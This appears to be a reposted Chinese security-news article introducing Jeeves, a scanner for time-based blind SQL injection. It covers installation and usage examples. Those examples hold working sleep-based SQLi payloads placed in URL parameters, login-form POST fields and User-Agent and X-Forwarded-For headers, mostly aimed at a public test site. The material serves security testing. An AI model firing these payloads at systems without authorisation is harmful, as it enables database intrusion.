Jeeves:一款功能强大的SQL注入漏洞扫描工具

admin 2022年6月28日11:45:58评论140 views字数 2702阅读9分0秒阅读模式

Jeeves:一款功能强大的SQL注入漏洞扫描工具

 关于Jeeves 

Jeeves是一款功能强大的SQL注入漏洞扫描工具,在该工具的帮助下,广大研究人员可以轻松通过网络侦查等方式来寻找目标应用程序中潜在的基于时间的SQL盲注漏洞。

 关于盲注 

盲注分为两类:

1、布尔盲注:布尔很明显Ture跟Fales,也就是说它只会根据我们的注入信息返回Ture跟False,也就没有了之前的报错信息。

2、时间盲注:界面返回值只有一种,即Ture。也就是说,无论输入任何值,返回情况都会按正常的来处理。加入特定的时间函数之后,我们将能够通过查看Web页面返回的时间差来判断注入的语句是否正确。

 工具安装 

该工具基于Go语言开发,因此我们首先需要在本地设备上安装并配置好Go语言环境。

接下来,我们可以直接使用go命令来安装Jeeves:

$ go install github.com/ferreiraklet/Jeeves@latest

除此之外,我们还可以使用下列命令将该项目源码克隆至本地,并给Jeeves提供可执行权限:

$ git clone https://github.com/ferreiraklet/Jeeves.git
$ cd Jeeves
$ go build jeeves.go
$ chmod +x jeeves
$ ./jeeves -h

 工具使用 

在我们的网络侦查的过程中,我们可能会找到如下所示的一个可能存在SQL注入漏洞的节点:

https://redacted.com/index.php?id=1

接下来,我们可以通过各种方式来对该节点进行测试。

测试单个URL

echo 'https://redacted.com/index.php?id=your_time_based_blind_payload_here' | jeeves -t payload_time
echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves --payload-time 5
echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(10)))v)" | jeeves -t 10

在--payload-time选项中,我们必须在Payload中使用相同的时间。

从地址列表读取

cat targets | jeeves --payload-time 5

添加Header

注意下列语句,也必须是相同的时间:

echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves -t 5 -H "Testing: testing;OtherHeader: Value;Other2: Value"

使用代理

echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves -t 5 --proxy "http://ip:port"
echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves -t 5 -p "http://ip:port"

代理+Header

echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves --payload-time 5 --proxy "http://ip:port" -H "User-Agent: xxxx"

 POST请求

在通过Post请求来发送数据的场景中(比如说登录表单)可以使用下列方式来测试:

echo "https://example.com/Login.aspx" | jeeves -t 10 -d "user=(select(0)from(select(sleep(5)))v)&password=xxx"
echo "https://example.com/Login.aspx" | jeeves -t 10 -H "Header1: Value1" -d "username=admin&password='+(select*from(select(sleep(5)))a)+'" -p "http://yourproxy:port"

 命令行使用 

Usage:
-t, --payload-time, Payload中定义的时间
-p, --proxy 向代理发送流量
-c 设置并发度,默认为25
-H, --headers 自定义Header
-d, --data 使用Post请求发送数据
-h 显示帮助信息

使用SQL Payload字典运行Jeeves:

cat sql_wordlist.txt | while read payload;do echo http://testphp.vulnweb.com/artists.php?artist= | qsreplace $payload | jeeves -t 5;done

测试Header:

echo "https://target.com" | jeeves -H "User-Agent: 'XOR(if(now()=sysdate(),sleep(5*2),0))OR'" -t 10
echo "https://target.com" | jeeves -H "X-Forwarded-For: 'XOR(if(now()=sysdate(),sleep(5*2),0))OR'" -t 10


Payload credit: https://github.com/rohit0x5

许可证协议

本项目的开发与发布遵循MIT开源许可证协议。

项目地址

https://github.com/ferreiraklet/Jeeves

参考资料

https://github.com/ferreiraklet/nilo

https://github.com/sqlmapproject/sqlmap

https://github.com/JohnTroony/Blisqy

Jeeves:一款功能强大的SQL注入漏洞扫描工具



精彩推荐






Jeeves:一款功能强大的SQL注入漏洞扫描工具

Jeeves:一款功能强大的SQL注入漏洞扫描工具
Jeeves:一款功能强大的SQL注入漏洞扫描工具
Jeeves:一款功能强大的SQL注入漏洞扫描工具

原文始发于微信公众号(FreeBuf):Jeeves:一款功能强大的SQL注入漏洞扫描工具

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月28日11:45:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Jeeves:一款功能强大的SQL注入漏洞扫描工具https://cn-sec.com/archives/1139877.html

发表评论

匿名网友 填写信息